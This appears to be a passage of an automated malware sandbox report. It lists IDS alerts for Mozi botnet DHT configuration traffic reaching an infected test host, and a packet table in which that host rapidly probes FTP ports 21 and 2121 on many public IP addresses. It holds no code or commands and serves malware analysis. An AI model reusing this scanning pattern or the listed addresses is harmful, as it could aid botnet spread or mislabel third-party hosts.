200.59.72.210192.168.2.33542234812030919 08/23/23-09:18:10.003629	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	3542	23481	200.59.72.210	192.168.2.3
95.24.1.50192.168.2.315688234812030919 08/23/23-09:17:48.742126	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	15688	23481	95.24.1.50	192.168.2.3
201.221.109.75192.168.2.34000234812030919 08/23/23-09:17:22.377991	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	4000	23481	201.221.109.75	192.168.2.3
178.72.68.100192.168.2.318001234812030919 08/23/23-09:18:20.344798	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	18001	23481	178.72.68.100	192.168.2.3
178.72.71.108192.168.2.34564234812030919 08/23/23-09:16:13.818448	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	4564	23481	178.72.71.108	192.168.2.3
178.72.68.241192.168.2.39482234812030919 08/23/23-09:18:25.876331	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	9482	23481	178.72.68.241	192.168.2.3
61.41.230.161192.168.2.311211234812030919 08/23/23-09:17:07.226199	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	11211	23481	61.41.230.161	192.168.2.3
178.141.180.233192.168.2.330301234812030919 08/23/23-09:18:06.652107	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	30301	23481	178.141.180.233	192.168.2.3
178.72.77.119192.168.2.31030234812030919 08/23/23-09:16:53.896377	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	1030	23481	178.72.77.119	192.168.2.3
178.72.70.215192.168.2.323681234812030919 08/23/23-09:18:15.375260	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	23681	23481	178.72.70.215	192.168.2.3
178.72.75.83192.168.2.313314234812030919 08/23/23-09:18:32.293571	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	13314	23481	178.72.75.83	192.168.2.3
59.88.227.146192.168.2.38080234812030919 08/23/23-09:17:24.678726	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	8080	23481	59.88.227.146	192.168.2.3
160.153.235.195192.168.2.322622234812030919 08/23/23-09:17:49.030933	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	22622	23481	160.153.235.195	192.168.2.3
59.89.230.72192.168.2.38081234812030919 08/23/23-09:17:52.018747	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	8081	23481	59.89.230.72	192.168.2.3
178.72.70.158192.168.2.311686234812030919 08/23/23-09:17:01.154297	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	11686	23481	178.72.70.158	192.168.2.3
178.72.76.246192.168.2.310279234812030919 08/23/23-09:18:33.371566	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	10279	23481	178.72.76.246	192.168.2.3
178.72.68.79192.168.2.35290234812030919 08/23/23-09:17:54.831552	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	5290	23481	178.72.68.79	192.168.2.3
178.72.78.189192.168.2.313733234812030919 08/23/23-09:16:58.925664	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	13733	23481	178.72.78.189	192.168.2.3
1.10.212.33192.168.2.37519234812030919 08/23/23-09:18:26.483578	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	7519	23481	1.10.212.33	192.168.2.3
178.72.76.95192.168.2.38293234812030919 08/23/23-09:18:03.914045	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	8293	23481	178.72.76.95	192.168.2.3
178.141.241.252192.168.2.34000234812030919 08/23/23-09:18:23.631743	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	4000	23481	178.141.241.252	192.168.2.3
178.72.68.91192.168.2.315781234812030919 08/23/23-09:18:26.787294	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	15781	23481	178.72.68.91	192.168.2.3
95.24.9.46192.168.2.329768234812030919 08/23/23-09:18:04.482337	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	29768	23481	95.24.9.46	192.168.2.3
178.72.71.171192.168.2.312562234812030919 08/23/23-09:18:14.286734	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	12562	23481	178.72.71.171	192.168.2.3
178.72.69.50192.168.2.311265234812030919 08/23/23-09:18:13.188221	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	11265	23481	178.72.69.50	192.168.2.3
178.72.76.218192.168.2.325375234812030919 08/23/23-09:15:24.526346	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	25375	23481	178.72.76.218	192.168.2.3
117.211.44.93192.168.2.38082234812030919 08/23/23-09:16:58.138494	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	8082	23481	117.211.44.93	192.168.2.3
178.72.81.152192.168.2.324955234812030919 08/23/23-09:17:53.057066	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	24955	23481	178.72.81.152	192.168.2.3
150.117.7.70192.168.2.38080234812030919 08/23/23-09:16:15.010897	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	8080	23481	150.117.7.70	192.168.2.3
178.72.70.238192.168.2.37665234812030919 08/23/23-09:18:32.300034	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	7665	23481	178.72.70.238	192.168.2.3
178.72.69.219192.168.2.36424234812030919 08/23/23-09:18:04.174067	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	6424	23481	178.72.69.219	192.168.2.3
201.221.99.127192.168.2.355434234812030919 08/23/23-09:18:34.676463	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	55434	23481	201.221.99.127	192.168.2.3
170.51.110.84192.168.2.322345234812030919 08/23/23-09:18:34.598474	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	22345	23481	170.51.110.84	192.168.2.3
1.10.212.37192.168.2.342986234812030919 08/23/23-09:17:37.295997	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	42986	23481	1.10.212.37	192.168.2.3
95.24.7.165192.168.2.330060234812030919 08/23/23-09:18:14.908813	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	30060	23481	95.24.7.165	192.168.2.3
178.72.69.42192.168.2.312827234812030919 08/23/23-09:16:22.900918	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	12827	23481	178.72.69.42	192.168.2.3
178.72.70.248192.168.2.318546234812030919 08/23/23-09:17:46.846434	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	18546	23481	178.72.70.248	192.168.2.3
178.72.77.118192.168.2.315426234812030919 08/23/23-09:17:57.096341	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	15426	23481	178.72.77.118	192.168.2.3
178.72.77.71192.168.2.37304234812030919 08/23/23-09:17:21.022618	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	7304	23481	178.72.77.71	192.168.2.3
178.141.44.243192.168.2.331371234812030919 08/23/23-09:18:32.671408	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	31371	23481	178.141.44.243	192.168.2.3
45.139.215.112192.168.2.311792234812030919 08/23/23-09:18:35.707710	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	11792	23481	45.139.215.112	192.168.2.3
45.139.215.226192.168.2.351342234812030919 08/23/23-09:15:53.512165	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	51342	23481	45.139.215.226	192.168.2.3
178.72.68.249192.168.2.320759234812030919 08/23/23-09:18:10.964493	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	20759	23481	178.72.68.249	192.168.2.3
178.72.78.49192.168.2.334994234812030919 08/23/23-09:18:00.517919	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	34994	23481	178.72.78.49	192.168.2.3
178.72.77.130192.168.2.316384234812030919 08/23/23-09:18:33.903868	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	16384	23481	178.72.77.130	192.168.2.3
210.245.102.197192.168.2.36881234812030919 08/23/23-09:18:35.449293	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	6881	23481	210.245.102.197	192.168.2.3
178.72.77.226192.168.2.311345234812030919 08/23/23-09:15:55.534623	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	11345	23481	178.72.77.226	192.168.2.3
178.72.78.152192.168.2.327144234812030919 08/23/23-09:15:44.206925	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	27144	23481	178.72.78.152	192.168.2.3
1.10.212.35192.168.2.320916234812030919 08/23/23-09:18:28.173494	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	20916	23481	1.10.212.35	192.168.2.3
200.81.166.165192.168.2.339352234812030919 08/23/23-09:18:12.564685	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	39352	23481	200.81.166.165	192.168.2.3
190.80.24.228192.168.2.317453234812030919 08/23/23-09:18:33.013194	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	17453	23481	190.80.24.228	192.168.2.3
178.72.78.86192.168.2.32484234812030919 08/23/23-09:18:33.041112	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	2484	23481	178.72.78.86	192.168.2.3
178.72.68.171192.168.2.319463234812030919 08/23/23-09:18:23.653689	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	19463	23481	178.72.68.171	192.168.2.3
178.141.214.213192.168.2.311857234812030919 08/23/23-09:17:49.089974	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	11857	23481	178.141.214.213	192.168.2.3
178.72.78.161192.168.2.334769234812030919 08/23/23-09:17:50.217653	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	34769	23481	178.72.78.161	192.168.2.3
178.72.81.226192.168.2.324780234812030919 08/23/23-09:17:58.387779	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	24780	23481	178.72.81.226	192.168.2.3
178.72.68.175192.168.2.35532234812030919 08/23/23-09:18:27.991285	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	5532	23481	178.72.68.175	192.168.2.3
178.72.75.35192.168.2.327555234812030919 08/23/23-09:18:26.900400	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	27555	23481	178.72.75.35	192.168.2.3
201.221.109.23192.168.2.35353234812030919 08/23/23-09:18:12.611596	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	5353	23481	201.221.109.23	192.168.2.3
178.141.162.19192.168.2.328319234812030919 08/23/23-09:18:15.403380	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	28319	23481	178.141.162.19	192.168.2.3
178.72.77.134192.168.2.324778234812030919 08/23/23-09:16:18.381546	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	24778	23481	178.72.77.134	192.168.2.3
95.24.61.130192.168.2.39989234812030919 08/23/23-09:17:52.157932	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	9989	23481	95.24.61.130	192.168.2.3
122.160.115.155192.168.2.317411234812030919 08/23/23-09:18:34.547123	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	17411	23481	122.160.115.155	192.168.2.3
1.10.212.35192.168.2.36584234812030919 08/23/23-09:18:31.994398	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	6584	23481	1.10.212.35	192.168.2.3
200.6.88.177192.168.2.316311234812030919 08/23/23-09:18:18.010359	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	16311	23481	200.6.88.177	192.168.2.3
1.10.212.34192.168.2.329509234812030919 08/23/23-09:18:35.544139	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	29509	23481	1.10.212.34	192.168.2.3
1.10.212.36192.168.2.333084234812030919 08/23/23-09:18:28.086126	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	33084	23481	1.10.212.36	192.168.2.3
178.72.81.172192.168.2.318439234812030919 08/23/23-09:18:20.370180	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	18439	23481	178.72.81.172	192.168.2.3
178.72.76.37192.168.2.315761234812030919 08/23/23-09:18:34.468820	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	15761	23481	178.72.76.37	192.168.2.3
178.72.81.138192.168.2.312576234812030919 08/23/23-09:17:47.964959	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	12576	23481	178.72.81.138	192.168.2.3
178.72.78.143192.168.2.326061234812030919 08/23/23-09:16:37.526057	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	26061	23481	178.72.78.143	192.168.2.3
178.72.78.240192.168.2.315163234812030919 08/23/23-09:18:39.375580	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	15163	23481	178.72.78.240	192.168.2.3
178.72.68.28192.168.2.38614234812030919 08/23/23-09:18:23.476167	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	8614	23481	178.72.68.28	192.168.2.3
154.82.92.21192.168.2.38082234812030919 08/23/23-09:18:06.688902	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	8082	23481	154.82.92.21	192.168.2.3
178.141.160.140192.168.2.34781234812030919 08/23/23-09:18:32.284967	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	4781	23481	178.141.160.140	192.168.2.3
1.10.212.36192.168.2.315542234812030919 08/23/23-09:18:35.943903	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	15542	23481	1.10.212.36	192.168.2.3
1.10.212.33192.168.2.342873234812030919 08/23/23-09:18:35.283749	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	42873	23481	1.10.212.33	192.168.2.3
1.10.212.36192.168.2.331963234812030919 08/23/23-09:18:34.151342	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	31963	23481	1.10.212.36	192.168.2.3
178.141.48.102192.168.2.336660234812030919 08/23/23-09:18:09.903686	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	36660	23481	178.141.48.102	192.168.2.3
178.72.70.144192.168.2.320911234812030919 08/23/23-09:16:02.931554	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	20911	23481	178.72.70.144	192.168.2.3
45.139.215.225192.168.2.337869234812030919 08/23/23-09:16:38.876179	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	37869	23481	45.139.215.225	192.168.2.3
178.72.68.50192.168.2.316808234812030919 08/23/23-09:17:18.254756	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	16808	23481	178.72.68.50	192.168.2.3
178.72.77.11192.168.2.323752234812030919 08/23/23-09:18:24.582988	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	23752	23481	178.72.77.11	192.168.2.3
178.72.78.173192.168.2.320624234812030919 08/23/23-09:18:27.735190	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	20624	23481	178.72.78.173	192.168.2.3
178.72.81.140192.168.2.33253234812030919 08/23/23-09:18:33.399585	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	3253	23481	178.72.81.140	192.168.2.3
178.72.81.131192.168.2.315271234812030919 08/23/23-09:18:35.361323	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	15271	23481	178.72.81.131	192.168.2.3
1.10.212.33192.168.2.349947234812030919 08/23/23-09:18:33.968720	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	49947	23481	1.10.212.33	192.168.2.3
95.24.1.50192.168.2.315201234812030919 08/23/23-09:17:45.008812	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	15201	23481	95.24.1.50	192.168.2.3
1.10.212.33192.168.2.328411234812030919 08/23/23-09:18:34.640321	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	28411	23481	1.10.212.33	192.168.2.3
178.141.240.3192.168.2.334869234812030919 08/23/23-09:18:18.944250	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	34869	23481	178.141.240.3	192.168.2.3
178.72.91.172192.168.2.351952234812030919 08/23/23-09:18:33.724890	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	51952	23481	178.72.91.172	192.168.2.3
178.72.81.66192.168.2.37586234812030919 08/23/23-09:18:34.466922	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	7586	23481	178.72.81.66	192.168.2.3
190.80.24.230192.168.2.318924234812030919 08/23/23-09:18:07.165949	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	18924	23481	190.80.24.230	192.168.2.3
178.72.77.192192.168.2.39679234812030919 08/23/23-09:16:05.991825	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	9679	23481	178.72.77.192	192.168.2.3
178.72.81.75192.168.2.325704234812030919 08/23/23-09:15:38.599554	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	25704	23481	178.72.81.75	192.168.2.3
95.24.11.148192.168.2.326814234812030919 08/23/23-09:16:41.074406	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	26814	23481	95.24.11.148	192.168.2.3
1.10.212.35192.168.2.310096234812030919 08/23/23-09:18:35.358370	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	10096	23481	1.10.212.35	192.168.2.3
178.72.77.81192.168.2.313729234812030919 08/23/23-09:16:17.192477	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	13729	23481	178.72.77.81	192.168.2.3
178.72.81.235192.168.2.319991234812030919 08/23/23-09:17:43.804343	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	19991	23481	178.72.81.235	192.168.2.3
95.24.68.114192.168.2.315190234812030919 08/23/23-09:18:34.066618	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	15190	23481	95.24.68.114	192.168.2.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 23, 2023 09:14:29.270272017 CEST	49734	3333	192.168.2.3	141.95.206.77
Aug 23, 2023 09:14:31.105401993 CEST	49735	21	192.168.2.3	189.58.161.188
Aug 23, 2023 09:14:31.106249094 CEST	49736	2121	192.168.2.3	189.58.161.188
Aug 23, 2023 09:14:31.144681931 CEST	49737	21	192.168.2.3	14.95.90.175
Aug 23, 2023 09:14:31.189342022 CEST	49738	2121	192.168.2.3	14.95.90.175
Aug 23, 2023 09:14:31.193696976 CEST	49739	21	192.168.2.3	50.32.202.75
Aug 23, 2023 09:14:31.197443008 CEST	49740	2121	192.168.2.3	50.32.202.75
Aug 23, 2023 09:14:31.201756001 CEST	49741	21	192.168.2.3	156.96.221.200
Aug 23, 2023 09:14:31.203263998 CEST	49742	2121	192.168.2.3	156.96.221.200
Aug 23, 2023 09:14:31.207483053 CEST	49743	21	192.168.2.3	14.73.210.73
Aug 23, 2023 09:14:31.218357086 CEST	49744	2121	192.168.2.3	14.73.210.73
Aug 23, 2023 09:14:31.224617958 CEST	49745	21	192.168.2.3	185.104.30.242
Aug 23, 2023 09:14:31.228569031 CEST	49746	2121	192.168.2.3	185.104.30.242
Aug 23, 2023 09:14:31.232856989 CEST	49747	21	192.168.2.3	78.202.193.61
Aug 23, 2023 09:14:31.236779928 CEST	49748	2121	192.168.2.3	78.202.193.61
Aug 23, 2023 09:14:31.251322031 CEST	21	49745	185.104.30.242	192.168.2.3
Aug 23, 2023 09:14:31.255000114 CEST	2121	49746	185.104.30.242	192.168.2.3
Aug 23, 2023 09:14:31.296704054 CEST	49749	21	192.168.2.3	94.130.25.210
Aug 23, 2023 09:14:31.300014973 CEST	49750	2121	192.168.2.3	94.130.25.210
Aug 23, 2023 09:14:31.301281929 CEST	21	49741	156.96.221.200	192.168.2.3
Aug 23, 2023 09:14:31.302731037 CEST	2121	49742	156.96.221.200	192.168.2.3
Aug 23, 2023 09:14:31.332712889 CEST	49751	21	192.168.2.3	50.70.201.118
Aug 23, 2023 09:14:31.338443041 CEST	49752	2121	192.168.2.3	50.70.201.118
Aug 23, 2023 09:14:31.342864990 CEST	49753	21	192.168.2.3	180.93.190.147
Aug 23, 2023 09:14:31.347131968 CEST	49754	2121	192.168.2.3	180.93.190.147
Aug 23, 2023 09:14:31.350444078 CEST	49755	21	192.168.2.3	213.27.3.97
Aug 23, 2023 09:14:31.354564905 CEST	49756	2121	192.168.2.3	213.27.3.97
Aug 23, 2023 09:14:31.358388901 CEST	49757	21	192.168.2.3	36.89.17.195
Aug 23, 2023 09:14:31.361758947 CEST	49758	2121	192.168.2.3	36.89.17.195
Aug 23, 2023 09:14:31.363208055 CEST	2121	49736	189.58.161.188	192.168.2.3
Aug 23, 2023 09:14:31.365968943 CEST	49759	21	192.168.2.3	43.245.207.245
Aug 23, 2023 09:14:31.371284008 CEST	49760	2121	192.168.2.3	43.245.207.245
Aug 23, 2023 09:14:31.374928951 CEST	49761	21	192.168.2.3	46.63.89.85
Aug 23, 2023 09:14:31.379004955 CEST	49762	2121	192.168.2.3	46.63.89.85
Aug 23, 2023 09:14:31.382122040 CEST	49763	21	192.168.2.3	80.195.103.106
Aug 23, 2023 09:14:31.383343935 CEST	21	49735	189.58.161.188	192.168.2.3
Aug 23, 2023 09:14:31.384912968 CEST	49764	2121	192.168.2.3	80.195.103.106
Aug 23, 2023 09:14:31.388540983 CEST	49765	21	192.168.2.3	23.75.123.98
Aug 23, 2023 09:14:31.392741919 CEST	49766	2121	192.168.2.3	23.75.123.98
Aug 23, 2023 09:14:31.395872116 CEST	49767	21	192.168.2.3	38.23.120.4
Aug 23, 2023 09:14:31.402487040 CEST	49768	2121	192.168.2.3	38.23.120.4
Aug 23, 2023 09:14:31.406235933 CEST	49769	21	192.168.2.3	188.83.44.25
Aug 23, 2023 09:14:31.416568995 CEST	21	49755	213.27.3.97	192.168.2.3
Aug 23, 2023 09:14:31.422266006 CEST	2121	49756	213.27.3.97	192.168.2.3
Aug 23, 2023 09:14:31.430056095 CEST	49770	2121	192.168.2.3	188.83.44.25
Aug 23, 2023 09:14:31.441492081 CEST	49771	21	192.168.2.3	173.216.176.40
Aug 23, 2023 09:14:31.451406956 CEST	49772	2121	192.168.2.3	173.216.176.40
Aug 23, 2023 09:14:31.460006952 CEST	49773	21	192.168.2.3	187.142.122.127
Aug 23, 2023 09:14:31.466099024 CEST	49774	2121	192.168.2.3	187.142.122.127
Aug 23, 2023 09:14:31.470062971 CEST	49775	21	192.168.2.3	79.126.57.130
Aug 23, 2023 09:14:31.473936081 CEST	49776	2121	192.168.2.3	79.126.57.130
Aug 23, 2023 09:14:31.478238106 CEST	49777	21	192.168.2.3	52.166.127.109
Aug 23, 2023 09:14:31.481591940 CEST	49778	2121	192.168.2.3	52.166.127.109
Aug 23, 2023 09:14:31.484849930 CEST	49779	21	192.168.2.3	173.173.114.136
Aug 23, 2023 09:14:31.489281893 CEST	49780	2121	192.168.2.3	173.173.114.136
Aug 23, 2023 09:14:31.497306108 CEST	49781	2121	192.168.2.3	94.241.214.148
Aug 23, 2023 09:14:31.497711897 CEST	49782	21	192.168.2.3	94.241.214.148
Aug 23, 2023 09:14:31.500567913 CEST	49783	21	192.168.2.3	98.208.164.167
Aug 23, 2023 09:14:31.502856016 CEST	49784	2121	192.168.2.3	98.208.164.167
Aug 23, 2023 09:14:31.509071112 CEST	49785	21	192.168.2.3	193.13.166.91
Aug 23, 2023 09:14:31.510049105 CEST	49786	2121	192.168.2.3	193.13.166.91
Aug 23, 2023 09:14:31.513253927 CEST	49787	21	192.168.2.3	138.122.36.109
Aug 23, 2023 09:14:31.516635895 CEST	49788	2121	192.168.2.3	138.122.36.109
Aug 23, 2023 09:14:31.520612001 CEST	49789	21	192.168.2.3	61.70.221.6
Aug 23, 2023 09:14:31.526092052 CEST	49790	2121	192.168.2.3	61.70.221.6
Aug 23, 2023 09:14:31.530622959 CEST	49791	21	192.168.2.3	76.184.32.224
Aug 23, 2023 09:14:31.534414053 CEST	49792	2121	192.168.2.3	76.184.32.224
Aug 23, 2023 09:14:31.536093950 CEST	21	49767	38.23.120.4	192.168.2.3
Aug 23, 2023 09:14:31.538815975 CEST	49793	21	192.168.2.3	81.164.170.246
Aug 23, 2023 09:14:31.542222023 CEST	2121	49768	38.23.120.4	192.168.2.3
Aug 23, 2023 09:14:31.542474985 CEST	49794	2121	192.168.2.3	81.164.170.246
Aug 23, 2023 09:14:31.550898075 CEST	49795	2121	192.168.2.3	69.204.117.115
Aug 23, 2023 09:14:31.551481962 CEST	49796	21	192.168.2.3	69.204.117.115
Aug 23, 2023 09:14:31.560292959 CEST	49797	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:31.567214012 CEST	49798	2121	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:31.569988966 CEST	49799	21	192.168.2.3	92.195.164.24
Aug 23, 2023 09:14:31.579258919 CEST	49800	2121	192.168.2.3	92.195.164.24
Aug 23, 2023 09:14:31.582283020 CEST	2121	49758	36.89.17.195	192.168.2.3
Aug 23, 2023 09:14:31.585702896 CEST	49801	21	192.168.2.3	186.55.11.174
Aug 23, 2023 09:14:31.588056087 CEST	21	49797	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:31.588156939 CEST	49797	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:31.592926025 CEST	49802	2121	192.168.2.3	186.55.11.174
Aug 23, 2023 09:14:31.592959881 CEST	21	49757	36.89.17.195	192.168.2.3
Aug 23, 2023 09:14:31.596904993 CEST	49803	21	192.168.2.3	92.117.9.68
Aug 23, 2023 09:14:31.597810984 CEST	21	49771	173.216.176.40	192.168.2.3
Aug 23, 2023 09:14:31.600733042 CEST	49804	2121	192.168.2.3	92.117.9.68
Aug 23, 2023 09:14:31.605134010 CEST	49805	21	192.168.2.3	212.193.183.70
Aug 23, 2023 09:14:31.609011889 CEST	49806	2121	192.168.2.3	212.193.183.70
Aug 23, 2023 09:14:31.612308025 CEST	2121	49772	173.216.176.40	192.168.2.3
Aug 23, 2023 09:14:31.613482952 CEST	49807	21	192.168.2.3	189.179.16.156
Aug 23, 2023 09:14:31.621412992 CEST	21	49805	212.193.183.70	192.168.2.3
Aug 23, 2023 09:14:31.625266075 CEST	2121	49806	212.193.183.70	192.168.2.3
Aug 23, 2023 09:14:31.631735086 CEST	49808	2121	192.168.2.3	189.179.16.156
Aug 23, 2023 09:14:31.635756969 CEST	49809	21	192.168.2.3	172.121.239.145
Aug 23, 2023 09:14:31.640546083 CEST	49810	2121	192.168.2.3	172.121.239.145
Aug 23, 2023 09:14:31.643345118 CEST	49811	21	192.168.2.3	95.222.58.248
Aug 23, 2023 09:14:31.646605968 CEST	49812	2121	192.168.2.3	95.222.58.248
Aug 23, 2023 09:14:31.649115086 CEST	49813	21	192.168.2.3	157.245.171.137
Aug 23, 2023 09:14:31.651885033 CEST	49814	2121	192.168.2.3	157.245.171.137
Aug 23, 2023 09:14:31.680393934 CEST	21	49797	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:31.680624962 CEST	49797	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:31.682621002 CEST	49815	21	192.168.2.3	154.22.197.172
Aug 23, 2023 09:14:31.709283113 CEST	21	49797	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:31.711359024 CEST	21	49797	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:31.711424112 CEST	49797	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:31.771423101 CEST	49745	21	192.168.2.3	185.104.30.242
Aug 23, 2023 09:14:31.771449089 CEST	49746	2121	192.168.2.3	185.104.30.242
Aug 23, 2023 09:14:31.797717094 CEST	21	49745	185.104.30.242	192.168.2.3
Aug 23, 2023 09:14:31.797924042 CEST	2121	49746	185.104.30.242	192.168.2.3
Aug 23, 2023 09:14:31.829680920 CEST	21	49773	187.142.122.127	192.168.2.3
Aug 23, 2023 09:14:31.831449986 CEST	2121	49774	187.142.122.127	192.168.2.3
Aug 23, 2023 09:14:31.848654032 CEST	21	49789	61.70.221.6	192.168.2.3
Aug 23, 2023 09:14:31.854676962 CEST	2121	49790	61.70.221.6	192.168.2.3
Aug 23, 2023 09:14:31.860142946 CEST	21	49815	154.22.197.172	192.168.2.3
Aug 23, 2023 09:14:31.860311985 CEST	49815	21	192.168.2.3	154.22.197.172
Aug 23, 2023 09:14:31.938498020 CEST	49736	2121	192.168.2.3	189.58.161.188
Aug 23, 2023 09:14:31.938498020 CEST	49755	21	192.168.2.3	213.27.3.97
Aug 23, 2023 09:14:31.938561916 CEST	49741	21	192.168.2.3	156.96.221.200
Aug 23, 2023 09:14:31.938571930 CEST	49735	21	192.168.2.3	189.58.161.188
Aug 23, 2023 09:14:31.938597918 CEST	49742	2121	192.168.2.3	156.96.221.200
Aug 23, 2023 09:14:31.981076956 CEST	49756	2121	192.168.2.3	213.27.3.97
Aug 23, 2023 09:14:32.005760908 CEST	21	49755	213.27.3.97	192.168.2.3
Aug 23, 2023 09:14:32.038259029 CEST	21	49741	156.96.221.200	192.168.2.3
Aug 23, 2023 09:14:32.038285017 CEST	2121	49742	156.96.221.200	192.168.2.3
Aug 23, 2023 09:14:32.039643049 CEST	21	49815	154.22.197.172	192.168.2.3
Aug 23, 2023 09:14:32.049438953 CEST	2121	49756	213.27.3.97	192.168.2.3
Aug 23, 2023 09:14:32.052624941 CEST	49767	21	192.168.2.3	38.23.120.4
Aug 23, 2023 09:14:32.052671909 CEST	49768	2121	192.168.2.3	38.23.120.4
Aug 23, 2023 09:14:32.067354918 CEST	49815	21	192.168.2.3	154.22.197.172
Aug 23, 2023 09:14:32.067976952 CEST	49816	2121	192.168.2.3	154.22.197.172
Aug 23, 2023 09:14:32.193140030 CEST	2121	49768	38.23.120.4	192.168.2.3
Aug 23, 2023 09:14:32.193191051 CEST	21	49767	38.23.120.4	192.168.2.3
Aug 23, 2023 09:14:32.195703983 CEST	2121	49736	189.58.161.188	192.168.2.3
